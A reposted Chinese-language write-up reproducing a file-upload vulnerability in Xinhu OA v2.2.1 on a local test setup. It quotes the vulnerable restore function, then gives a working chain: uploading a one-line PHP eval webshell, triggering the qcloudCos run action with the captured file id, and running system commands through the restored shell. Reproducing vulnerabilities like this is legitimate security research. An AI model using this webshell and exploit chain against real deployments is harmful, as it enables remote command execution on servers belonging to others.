前言:
這個漏洞的復現呢也是借鑒了Y4tacker的博客(地址:https://blog.csdn.net/solitudi/article/details/118675321)
環境配置:
環境:win10
phpamb 下載地址:http://www.rockoa.com/view_phpamb.html
下載phpamb,按照要求安裝配置好之后

然后在www檔案夾下解壓下載的信呼v2.2.1
瀏覽器訪問http://127.0.0.1:829/ 會顯示如圖

注意安裝時的資料庫地址為localhost:3307不然會報錯,初始密碼為空,這里我在組態檔里改成123456了

登錄

登錄后會強制修改密碼,把123456改成其它密碼就行了,至此環境配置成功,

找到檔案上傳點

2.2的檔案上傳漏洞是存在一個白名單的

漏洞分析:白名單之外的檔案后綴會被更改為uptemp后綴,并且擁有一個id屬性
上傳的檔案內容會被base64編碼
但是查看webmain\task\runt\qcloudCosAction.php騰訊云存盤下的qcloudCosClassAction的run方法
public function runAction()
{
$fileid = (int)$this->getparams('fileid','0'); //檔案ID
if($fileid<=0)return 'error fileid';
$frs = m('file')->getone($fileid);
if(!$frs)return 'filers not found';
$filepath = $frs['filepath'];
if(substr($filepath, 0, 4)=='http')return 'filepath is httppath';
if(substr($filepath,-6)=='uptemp'){
$aupath = ROOT_PATH.'/'.$filepath;
$nfilepath = str_replace('.uptemp','.'.$frs['fileext'].'', $filepath);
$content = file_get_contents($aupath);
$this->rock->createtxt($nfilepath, base64_decode($content));
unlink($aupath);
$filepath = $nfilepath;
}
$msg = $this->sendpath($filepath, $frs, 'filepathout');
if($msg)return $msg;
$thumbpath = $frs['thumbpath'];
if(!isempt($thumbpath)){
$msg = $this->sendpath($thumbpath, $frs, 'thumbplat');
if($msg)return $msg;
}
return 'success';
}
把后綴和內容都還原了,那這個漏洞的思路就是,先上傳,然后抓包獲取上傳的webshell的id,再訪問如下圖網址,更改id,即可還原php檔案內容,

第一步:上傳抓包,所用的一句話木馬:1.php,內容如下:
<?php eval($_GET["1"]);?>
這里會得到兩個資料包,在第二個資料包的回應包里能得到我們的id,filecontid=8,就是我們要得到的,并非id

第二步:訪問http://127.0.0.1:829/task.php?m=qcloudCos|runt&a=run&fileid=8
即可看到檔案路徑,并生成同名的php

第三步:直接訪問http://127.0.0.1:829/upload/2022-11/08_14565255.php?1=system("whoami");
成功實作命令執行,將whoami換成其它內容執行命令也可

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/529893.html
標籤:其他
